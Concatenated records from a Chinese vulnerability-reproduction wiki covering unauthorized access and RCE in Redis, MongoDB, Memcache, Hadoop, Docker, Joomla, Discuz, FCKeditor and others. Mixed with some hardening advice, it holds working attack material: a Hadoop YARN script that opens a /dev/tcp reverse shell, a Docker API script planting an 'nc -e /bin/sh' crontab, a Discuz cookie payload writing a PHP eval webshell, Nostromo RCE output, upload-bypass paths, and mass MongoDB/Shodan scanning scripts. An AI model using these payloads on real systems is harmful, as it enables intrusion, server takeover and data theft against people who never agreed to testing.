    {"text": "6.修改默认端口 指定Redis监听端口，默认端口为6379，作者在自己的一篇博文中解释了为什么选用6379作为默认端口，因为6379在手机按键上MERZ对应的号码，而MERZ取自意大利歌女Alessia Merz的名字 ## redis-server --port 6380 7.防火墙 // accept ## iptables -A INPUT -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT ## iptables -A INPUT -p udp -s 127.0.0.1 --dport 6379 -j ACCEPT ​ // drop ## iptables -I INPUT -p tcp --dport 6379 -j DROP ## iptables -I INPUT -p udp --dport 6379 -j DROP ​ // 保存规则并重启 iptables ## service iptables save ## service iptables restart"},
    {"text": "pyspider pyspider 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/pyspider pyspider未授权访问 pyspider未授权访问 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/pyspider/pyspider-wei-shou-quan-fang-wen 一、漏洞简介 pyspider未授权访问 二、影响范围 三、复现过程 ​ https://github.com/ianxtianxt/Pyspider-webui-poc ​ Nostromo httpd Nostromo httpd 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/nostromo-httpd （CVE-2019-16278）命令执行 （CVE-2019-16278）命令执行 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/nostromo-httpd/cve201916278-ming-ling-zhi-hang ​ 一、漏洞简介 （CVE-2019-16278）命令执行 二、影响范围 三、复现过程 ​ https://github.com/ianxtianxt/CVE-2019-16278/ ​ ➜ Downloads python nostromo.py 114.114.114.114 8080 pwd /bin ➜ Downloads python nostromo.py 114.114.114.114 8080 id uid=65534 gid=65534 ➜ Downloads python nostromo.py 114.114.114.114 8080 \"ls -al\" drwxr-xr-x 2 0 0 0 Apr 12 2013 . drwxr-xr-x 16 0 0 0 Jan 1 1970 .. lrwxrwxrwx 1 0 0 7 Apr 12 2013 ash -> busybox （CVE-2019-16279）dos （CVE-2019-16279）dos 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/nostromo-httpd/cve-2019-16279-dos ​ 一、漏洞简介 （CVE-2019-16279）dos 二、影响范围 三、复现过程 This bug exploit a memory error when sending too many \\r\\n in a single connexion. Example $ curl http://127.0.0.1:8080 HELLO! $ ./CVE-2019-16279.sh 127.0.0.1 8080 $ curl http://127.0.0.1:8080 curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused MongoDB MongoDB 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/mongodb"},
    {"text": "MongoDB未授权访问 MongoDB未授权访问 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/mongodb/mongodb-wei-shou-quan-fang-wen 一、漏洞简介 MongoDB 默认直接连接，无须身份验证，如果当前机器可以公网访问，且不注意Mongodb 端口（默认 27017）的开放状态，那么Mongodb就会产生安全风险，被利用此配置漏洞，入侵数据库。 使用默认 mongod 命令启动 Mongodb 机器可以被公网访问 在公网上开放了 Mongodb 端口 数据库隐私泄露 数据库被清空 数据库运行缓慢 二、影响范围 三、复现过程 1. 扫描探测 2. 下载： ​ http://nmap.org/svn/scripts/mongodb-info.nse ​ nmap -p 27017 --script mongodb-info <ip> image vim /etc/mongodb.conf dbpath = /data/ logpath = /var/logs/mongodb.log ##port = 27017 ##fork = true bind_ip = 0.0.0.0 ​ ./mongod –config mongodb.conf //启动mongodb加载配置mongodb.conf 1.1 基础 ​ https://www.jianshu.com/p/8bf26effa737 ​ ​ http://www.runoob.com/mongodb/mongodb-tutorial.html ​ ​ https://itbilu.com/database/mongo/E1tWQz4_e.html ​ ​ 1.2 批量扫描未授权 import socket import sys import pymongo ​ ipcons = [] def Scanner(ip): global ipcons sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sk.settimeout(0.3) try: sk.connect((ip,27017)) ipcons.append(ip) sk.close() except Exception: pass ​ def ip2num(ip): ip=[int(x) for x in ip.split('.')] return ip[0] <<24 | ip[1]<<16 | ip[2]<<8 |ip[3] ​ def num2ip(num): return '%s.%s.%s.%s' %( (num & 0xff000000) >>24, (num & 0x00ff0000) >>16, (num & 0x0000ff00) >>8, num & 0x000000ff ) ​ def get_ip(ip): start,end = [ip2num(x) for x in ip.split(' ') ] return [ num2ip(num) for num in range(start,end+1) if num & 0xff ] ​ startIp = sys.argv[1] endIp = sys.argv[2] iplist = get_ip(sys.argv[1]+\" \"+sys.argv[2]) for i in iplist: Scanner(i) ​ def connMon(ip_addr): print ' Connect mongodb: ' + ip_addr + ':27017' try: conn = pymongo.MongoClient(ip_addr,27017,socketTimeoutMS=3000) dbname = conn.database_names() print \"success\" except Exception as e: print \"error\" ​ print ipcons for ipaddr in ipcons: connMon(ipaddr) print \"=================\" ​ 1.3 shodan扫描脚本 ##!/usr/bin/python ## -*- coding: UTF-8 -*- ''' @Author：joy_nick @博客：http://byd.dropsec.xyz/ ''' import shodan import os iplist = [] ip_list = [] shodan_ip_list = [] def shodanSearch(keywords): SHODAN_API_KEY = \"your key\" api = shodan.Shodan(SHODAN_API_KEY) total = 0 try: results = api.search(keywords) total = int(results['total']) for result in results['matches']: ##iplist.append({\"ip\":result['ip_str'],\"country\":result['location']['country_name']}) iplist.append(result['ip_str']) for i in range(len(iplist)): ip_list = iplist[i].encode('utf-8') shodan_ip_list.append(ip_list) s = '\\n'.join(shodan_ip_list) with open('shodan_ip_list.txt','w') as output: output.write(s) except shodan.APIError, e: print 'Error: %s' % e if __name__ == '__main__': shodanSearch('redis') 查询操作 ​ 2. 爆破脚本 ​ https://github.com/netxfly/x-crack ​ ​ ​ 4. 防范措施 (1).新建管理账户开启MongoDB授权 新建终端[参数默认可以不加，若有自定义参数，才要加上，下同] mongod --port 27017 --dbpath /data/db1 另起一个终端，运行下列命令 mongo --port 27017 ​ use admin ​ db.createUser( { user: \"adminUser\", pwd: \"adminPass\", roles: [ { role: \"userAdminAnyDatabase\", db: \"admin\" } ] } ) 管理员创建成功，现在拥有了用户管理员 用户名:adminUser 密码:adminPass image (2).本地访问 bind 127.0.0.1 (3).修改默认端口 修改默认的mongoDB端口(默认为: TCP 27017)为其他端口 (4).禁用HTTP和REST端口 MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务，一般不需要通过web方式进行远程管理，建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface = false (5).开启日志审计功能 审计功能可以用来记录用户对数据库的所有相关操作。这些记录可以让系统管理员在需要的时候分析数据库在什么时段发生了什么事情 (6).开启auth认证 /etc/mongodb.conf auth = true 其他: http://www.mottoin.com/105609.html ​ Memcache Memcache 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/memcache"},
    {"text": "Memcache未授权访问 Memcache未授权访问 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/memcache/memcache-wei-shou-quan-fang-wen ​ 一、漏洞简介 memcached是一套分布式的高速缓存系统。它以Key-Value（键值对）形式将数据存储在内存中，这些数据通常是应用读取频繁的。正因为内存中数据的读取远远大于硬盘，因此可以用来加速应用的访问。 二、影响范围 三、复现过程 1.扫描探测 nmap -sV -p 11211 --script memcached-info 0.0.0.0 image ##! /usr/bin/env python ## _*_ coding:utf-8 _*_ def Memcache_check(ip, port=11211, timeout=5): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send(\"stats\\r\\n\") result = s.recv(1024) if \"STAT version\" in result: print '[+] Memcache Unauthorized: ' +ip+':'+str(port) except Exception, e: pass if __name__ == '__main__': Elasticsearch_check(\"127.0.0.1\") 2.攻击利用 2.1 基础部分 通过一个cheat sheet了解一下Memcached的协议。Memcached的语法由如下元素组成 {COMMAND}0x20{ARGUMENT}(LF|CRLF) command字段有如下几条命令 存储操作(set, add, replace, append, prepend, cas) 检索操作 (get, gets) 删除操作 (delete) 增减操作 (incr, decr) touch slabs reassign slabs automove lru_crawler 统计操作(stats items, slabs, cachedump) 其他操作 (version, flush_all, quit) Command 描述 实例 get 读某个值 get mykey set 强制设置某个键值 set mykey 0 60 5 add 添加新键值对 add newkey 0 60 5 replace 覆盖已经存在的key replace key 0 60 5 flush_all 让所有条目失效 flush_all stats 打印当前状态 stats stats malloc 打印内存状态 stats malloc version | 打印Memcached版本 | version stats //查看memcache 服务状态 stats items //查看所有items stats cachedump 32 0 //获得缓存key get :state:264861539228401373:261588 //通过key读取相应value ，获得实际缓存内容，造成敏感信息泄露 2.2 建立连接并获取信息 telnet <target> 11211，或 nc -vv <target> 11211，无需用户名密码，可以直接连接memcache 服务的11211端口。 ​ 附赠大佬写的文章 Discuz!因Memcached未授权访问导致的RCE ​ 3.防范措施 1.限制访问 如果memcache没有对外访问的必要，可在memcached启动的时候指定绑定的ip地址为 127.0.0.1。其中 -l 参数指定为本机地址。例如： memcached -d -m 1024 -u root -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid 或者 vim /etc/sysconfig/memcached，修改配置文件 OPTIONS=\"-l 127.0.0.1\"，只能本机访问，不对公网开放，保存退出 /etc/init.d/memcached reload 2.防火墙 // accept ## iptables -A INPUT -p tcp -s 127.0.0.1 --dport 11211 -j ACCEPT ## iptables -A INPUT -p udp -s 127.0.0.1 --dport 11211 -j ACCEPT ​ // drop ## iptables -I INPUT -p tcp --dport 11211 -j DROP ## iptables -I INPUT -p udp --dport 11211 -j DROP ​ // 保存规则并重启 iptables ## service iptables save ## service iptables restart 3.使用最小化权限账号运行Memcached服务 使用普通权限账号运行，指定Memcached用户。 memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid 4.启用认证功能 Memcached本身没有做验证访问模块,Memcached从1.4.3版本开始，能支持SASL认证。 SASL认证详细配置手册 ​ 5.修改默认端口 修改默认11211监听端口为11222端口。在Linux环境中运行以下命令： memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid 6.定期升级 参考: ​ http://lzone.de/cheat-sheet/memcached ​ ​ https://www.secpulse.com/archives/49659.html ​ ​ https://www.sensepost.com/blog/2010/blackhat-write-up-go-derper-and-mining-memcaches/ ​ ​ https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf ​ ​ http://niiconsulting.com/checkmate/2013/05/memcache-exploit/ ​ ​ https://xz.aliyun.com/t/2018 ​ ​ http://drops.xmd5.com/static/drops/web-8987.html ​ ​ https://blog.csdn.net/microzone/article/details/79262549 ​ joomal joomal 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/joomal"},
    {"text": "Joomla 3.4.6 - 'configuration.php' Remote Code Execution Joomla 3.4.6 - 'configuration.php' Remote Code Execution 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/joomal/joomla-3.4.6-configuration.php-remote-code-execution 一、漏洞简介 Joomla 3.4.6 - 'configuration.php' Remote Code Execution 二、影响范围 三、复现过程 ​ https://github.com/ianxtianxt/Joomla-3.4.6 ---configuration.php-Remote-Code-Execution 验证： python3 test.py -t http://127.0.0.1:8080/ image 显示“Vulnerable”证明存在漏洞 利用： python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121 image 执行成功 并在“configuration.php”写入 随机密码 的一句话木马 上图的密码为：kyevgbxjmwivdvegohfzwuukuzswxqquthlrsollpxzgiifumi 蚁剑链接测试 image joomscan joomscan 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/joomal/joomscan ​ 一、漏洞简介 joomscan 二、影响范围 三、复现过程 https://github.com/rezasp/joomscan Jira Jira 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/jira （CVE-2019-8451）Jira未授权SSRF漏洞验证 （CVE-2019-8451）Jira未授权SSRF漏洞验证 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/jira/cve20198451jira-wei-shou-quan-ssrf-lou-dong-yan-zheng ​ 一、漏洞简介 （CVE-2019-8451）Jira未授权SSRF漏洞验证 二、影响范围 三、复现过程 image ​ https://github.com/ianxtianxt/CVE-2019-8451 ​ #coding:utf-8 import requests ​ host = 'http://xx.xx.xx.xx:8080' header = { 'X-Atlassian-Token': 'no-check', 'Connection': 'close' } ​ url = host + '/plugins/servlet/gadgets/makeRequest?url='+host+'@www.baidu.com/' html = requests.get(url = url,headers = header) print html.text Harbor Harbor 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/harbor （CVE-2019-16097）Harbor未授权创建管理员漏洞 （CVE-2019-16097）Harbor未授权创建管理员漏洞 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/harbor/cve201916097harbor-wei-shou-quan-chuang-jian-guan-li-yuan-lou-dong ​ 一、漏洞简介 近日，镜像仓库Harbor爆出任意管理员注册漏洞，攻击者在请求中构造特定字符串，在未授权的情况下可以直接创建管理员账号，从而接管Harbor镜像仓库。我们得到消息，第一时间对该漏洞进了验证，官方已发布公告说明，最新的1.7.6和1.8.3已修复此漏洞，请使用到的用户尽快升级至安全版本。 Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.7.0版本至1.8.2版本中的core/api/user.go文件存在安全漏洞。攻击者通过在请求中添加关键参数，即可利用该漏洞创建管理员账户，从而接管Harbor镜像仓库。 二、影响范围 Harbor 1.7.0版本至1.8.2 三、复现过程 https://github.com/ianxtianxt/CVE-2019-16097 Hadoop Hadoop 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/hadoop Hadoop未授权访问 Hadoop未授权访问 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/hadoop/hadoop-wei-shou-quan-fang-wen ​ 一、漏洞简介 Hadoop是一款由Apache基金会推出的分布式系统框架，它通过著名的 MapReduce 算法进行分布式处理。这个框架被Adobe，Last fm，EBay，Yahoo等知名公司使用着。它极大地精简化程序员进行分布式计算时所需的操作，用户大概通过如下步骤在hadoop中实现分布式处理： 用户创建一个处理键值的map函数 产生了一套中间键/值 reduce函数合并中间值并把他们关联到对应的键 二、影响范围 三、复现过程 1. 扫描探测 1.1 常见端口 image 1.2 敏感端口 模块 节点 默认端口 HDFS NameNode 50070 HDFS SecondNameNode 50090 HDFS DataNode 50075 HDFS Backup/Checkpoint node 50105 MapReduce JobTracker 50030 MapReduce TaskTracker 50060 通过访问 NameNode WebUI 管理界面的 50070 端口，可以下载任意文件。而且，如果 DataNode 的默认端口 50075 开放，攻击者可以通过 HDSF 提供的 restful API 对 HDFS 存储的数据进行操作。 image 2. 攻击手法 利用方法和原理中有一些不同。在没有 hadoop client 的情况下，直接通过 REST API 也可以提交任务执行。 利用过程如下： 在本地监听等待反弹 shell 连接 调用 New Application API 创建 Application 调用 Submit Application API 提交 P牛的攻击脚本 ##!/usr/bin/env python ​ import requests ​ target = 'http://127.0.0.1:8088/' lhost = '192.168.0.1' ## put your local host ip here, and listen at port 9999 ​ url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data) image 3. 防范措施 网络访问控制 使用 安全组防火墙 或本地操作系统防火墙对访问源 IP 进行控制。如果您的 Hadoop 环境仅对内网服务器提供服务，建议不要将 Hadoop 服务所有端口发布到互联网。 启用认证功能 启用 Kerberos 认证功能。 更新补丁 不定期关注 Hadoop 官方发布的最新版本，并及时更新补丁。"},
    {"text": "FCKeditor FCKeditor 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor ​ 1.查看FCKeditor版本 1.查看FCKeditor版本 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/1.-cha-kan-fckeditor-ban-ben ​ 一、漏洞简介 1.查看FCKeditor版本 二、影响范围 三、复现过程 http://127.0.0.1/fckeditor/editor/dialog/fck_about.html http://127.0.0.1/FCKeditor/_whatsnew.html 2.测试FCKeditor上传点 2.测试FCKeditor上传点 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/2.-ce-shi-fckeditor-shang-chuan-dian ​ 一、漏洞简介 二、影响范围 三、复现过程 FCKeditor/editor/filemanager/browser/default/connectors/test.html FCKeditor/editor/filemanager/upload/test.html FCKeditor/editor/filemanager/connectors/test.html FCKeditor/editor/filemanager/connectors/uploadtest.html ​ FCKeditor/_samples/default.html FCKeditor/_samples/asp/sample01.asp FCKeditor/_samples/asp/sample02.asp FCKeditor/_samples/asp/sample03.asp FCKeditor/_samples/asp/sample04.asp FCKeditor/_samples/default.html FCKeditor/editor/fckeditor.htm FCKeditor/editor/fckdialog.html ​ FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp ​ FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php 3.突破上传 3.突破上传 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/3.-tu-po-shang-chuan 3.1 FCKeditor上传限制 3.1 FCKeditor上传限制 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/3.-tu-po-shang-chuan/3.1-fckeditor-shang-chuan-xian-zhi 一、漏洞简介 3.1 FCKeditor上传限制 二、影响范围 三、复现过程 上传限制的突破方式很多，主要还是抓包改扩展名，%00截断，添加文件头等 3.2文件名限制 3.2文件名限制 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/3.-tu-po-shang-chuan/3.2-wen-jian-ming-xian-zhi 3.2.1FCKeditor二次上传绕过 3.2.1FCKeditor二次上传绕过 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/3.-tu-po-shang-chuan/3.2-wen-jian-ming-xian-zhi/3.2.1fckeditor-er-ci-shang-chuan-rao-guo 一、漏洞简介 FCKeditor二次上传绕过 二、影响范围 三、复现过程 文件名‘ . ’ 修改为‘ _ ’ FCK在上传了诸如shell.asp;.jpg的文件后，会自动将文件名改为shell_asp;.jpg。可以继续上传同名文件，文件名会变为shell.asp;(1) 3.2.2FCKeditor提交shell.php+空格绕过 3.2.2FCKeditor提交shell.php+空格绕过 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/3.-tu-po-shang-chuan/3.2-wen-jian-ming-xian-zhi/3.2.2fckeditor-ti-jiao-shell.php+-kong-ge-rao-guo 一、漏洞简介 FCKeditor提交shell.php+空格绕过 二、影响范围 三、复现过程 提交shell.php+空格绕过 空格只支持windows系统，linux系统是不支持的，可提交shell.php+空格来绕过文件名限制。"},
    {"text": "3.3 FCKeditor IIS6.0突破文件夹限制 3.3 FCKeditor IIS6.0突破文件夹限制 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/3.-tu-po-shang-chuan/3.3-fckeditor-iis6.0-tu-po-wen-jian-jia-xian-zhi ​ 一、漏洞简介 FCKeditor IIS6.0突破文件夹限制 二、影响范围 三、复现过程 Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684 FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolde 3.4 FCKeditor文件解析限制 3.4 FCKeditor文件解析限制 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/3.-tu-po-shang-chuan/3.4-fckeditor-wen-jian-jie-xi-xian-zhi ​ 一、漏洞简介 FCKeditor文件解析限制 二、影响范围 三、复现过程 通过Fckeditor编辑器在文件上传页面中，创建诸如1.asp文件夹，然后再到该文件夹下上传一个图片的webshell文件，获取其shell。 http://127.0.0.1/images/upload/201806/image/1.asp/1.jpg 4列目录 4列目录 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/3.-tu-po-shang-chuan/4-lie-mu-lu 4.1编辑器 4.1编辑器 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/3.-tu-po-shang-chuan/4-lie-mu-lu/untitled 一、漏洞简介 FCKeditor-editor-fckeditor.html 二、影响范围 三、复现过程 FCKeditor/editor/fckeditor.html FCKeditor/editor/fckeditor.html不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页，可以查看已经上传的文件。 4.2 FCKeditor根据xml返回信息查看网站目录 4.2 FCKeditor根据xml返回信息查看网站目录 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/3.-tu-po-shang-chuan/4-lie-mu-lu/4.2-fckeditor-gen-ju-xml-fan-hui-xin-xi-cha-kan-wang-zhan-mu-lu ​ 一、漏洞简介 FCKeditor根据xml返回信息查看网站目录 二、影响范围 三、复现过程 http://127.0.0.1/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector 4.3 FCKeditor获取当前文件夹 4.3 FCKeditor获取当前文件夹 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/3.-tu-po-shang-chuan/4-lie-mu-lu/4.3-fckeditor-huo-qu-dang-qian-wen-jian-jia ​ 一、漏洞简介 FCKeditor获取当前文件夹 二、影响范围 三、复现过程 FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetF 4.4 FCKeditor浏览C盘文 4.4 FCKeditor浏览C盘文 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/fckeditor/3.-tu-po-shang-chuan/4-lie-mu-lu/4.4-fckeditor-liu-lancpan-wen ​ 一、漏洞简介 FCKeditor浏览C盘文 二、影响范围 三、复现过程 /FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentF Elasticsearch Elasticsearch 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/elasticsearch ​ Elasticsearch未授权访问 Elasticsearch未授权访问 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/elasticsearch/elasticsearch-wei-shou-quan-fang-wen 一、漏洞简介 ElasticSearch 是一款Java编写的企业级搜索服务，启动此服务默认会开放HTTP-9200端口，可被非法操作数据。 二、影响范围 三、复现过程 安装了river之后可以同步多种数据库数据（包括关系型的mysql、mongodb等）。 http://localhost:9200/_cat/indices 里面的indices包含了_river一般就是安装了river了。 ​ http://localhost:9200/_plugin/head/ web管理界面 http://localhost:9200/_cat/indices http://localhost:9200/_river/_search 查看数据库敏感信息 http://localhost:9200/_nodes 查看节点数据 Docker Docker 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/docker ​"},
    {"text": "Docker未授权访问 Docker未授权访问 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/docker/docker-wei-shou-quan-fang-wen 一、漏洞简介 1. 基础介绍 ​ http://www.loner.fm/drops/##!/drops/1203.新姿势之Docker Remote API未授权访问漏洞分析和利用 ​ docker swarm 是一个将docker集群变成单一虚拟的docker host工具，使用标准的Docker API，能够方便docker集群的管理和扩展，由docker官方提供，具体的大家可以看官网介绍。 漏洞发现的起因是，有一位同学在使用docker swarm的时候，发现了管理的docker 节点上会开放一个TCP端口2375，绑定在0.0.0.0上，http访问会返回 404 page not found ，然后他研究了下，发现这是 Docker Remote API，可以执行docker命令，比如访问 http://host:2375/containers/json 会返回服务器当前运行的 container列表，和在docker CLI上执行 docker ps 的效果一样，其他操作比如创建/删除container，拉取image等操作也都可以通过API调用完成，然后他就开始吐槽了，这尼玛太不安全了。 然后我想了想 swarm是用来管理docker集群的，应该放在内网才对。问了之后发现，他是在公网上的几台机器上安装swarm的，并且2375端口的访问策略是开放的，所以可以直接访问。 2. 测试环境配置 先关闭docker，然后开启： sudo service docker stop # 绑定Docker Remote Api在指定端口（这里是2375），可以自行测试。 sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock 参考API规范进行渗透： https://docs.docker.com/engine/reference/api/docker-remote-api-v1.23/ ​ 操作Docker API可以使用python dockert api 完成。 pip install docker-py API使用参考： https://docker-py.readthedocs.io/en/stable/api/##client-api ​ 二、影响范围 三、复现过程 3.1 From:phith0n 利用方法是，我们随意启动一个容器，并将宿主机的/etc目录挂载到容器中，便可以任意读写文件了。我们可以将命令写入crontab配置文件，进行反弹shell。 import docker ​ client = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c \"echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root\" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) 写入crontab文件，成功反弹shell： ​ 3.2 python脚本 ​ https://github.com/Tycx2ry/docker_api_vul ​ 安装类库 pip install -r requirements.txt 查看运行的容器 python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 查看所有的容器 python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -a 查看所有镜像 python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -l 查看端口映射 python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -L 写计划任务（centos,redhat等,加-u参数用于ubuntu等） python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 镜像名 -H 反弹ip -P 反弹端口python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -u -i 镜像名 -H 反弹ip -P 反弹端口 写sshkey(自行修改脚本的中公钥) python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 镜像名 -k 在容器中执行命令 python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -e \"id\" -I 容器id 删除容器 python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -c -I 容器id 修改client api版本 python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -v 1.22 查看服务端api版本 python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -V 3.3 其他的一些exp ​ https://github.com/netxfly/docker-remote-api-exp https://github.com/zer0yu/SomePoC/blob/master/Docker/Docker_Remote_API未授权访问漏洞.py https://github.com/JnuSimba/MiscSecNotes/tree/master/Docker安全 ​ 4. 防护策略 1.修改 Docker Remote API 服务默认参数。注意：该操作需要重启 Docker 服务才能生效。 2.修改 Docker 的启动参数： 定位到 DOCKER_OPTS 中的 tcp://0.0.0.0:2375，将0.0.0.0修改为127.0.0.1 或将默认端口 2375 改为自定义端口 为 Remote API 设置认证措施。参照 官方文档 配置 Rem 3.注意：该操作需要重启 Docker 服务才能生效。 修改 Docker 服务运行账号。请以较低权限账号运行 Docker 服务；另外，可以限制攻击者执行高危命令。 4.注意：该操作需要重启 Docker 服务才能生效。 设置防火墙策略。如果正常业务中 API 服务需要被其他服务器来访问，可以配置安全组策略或 iptables 策略，仅允许指定的 IP 来访问 Docker 接口。 discuz discuz 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/discuz"},
    {"text": "discuz！ML 3.x代码执行漏洞 discuz！ML 3.x代码执行漏洞 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/discuz/discuzml-3.x-dai-ma-zhi-hang-lou-dong 一、漏洞简介 漏洞类型：代码执行漏洞 漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。 二、影响范围 Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 三、复现过程 cookie字段中会出现xxxx_xxxx_language字段，根本原因就是这个字段存在注入，导致的RCE 抓包找到cookie的language的值修改为 xxxx_xxxx_language=sc'.phpinfo().' getshell %27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27 实际为： '.+file_put_contents('shell.php',urldecode('<?php eval($_POST[\"1\"]);?>')).' 即可在路径下生成shell.php，连接密码为1 ​ https://github.com/ianxtianxt/discuz-ml-rce ​ CouchDB CouchDB 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/couchdb CouchDB未授权访问 CouchDB未授权访问 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/couchdb/couchdb-wei-shou-quan-fang-wen 一、漏洞简介 CouchDB 是一个开源的面向文档的数据库管理系统，可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CouchDB会默认会在5984端口开放Restful的API接口，用于数据库的管理功能。 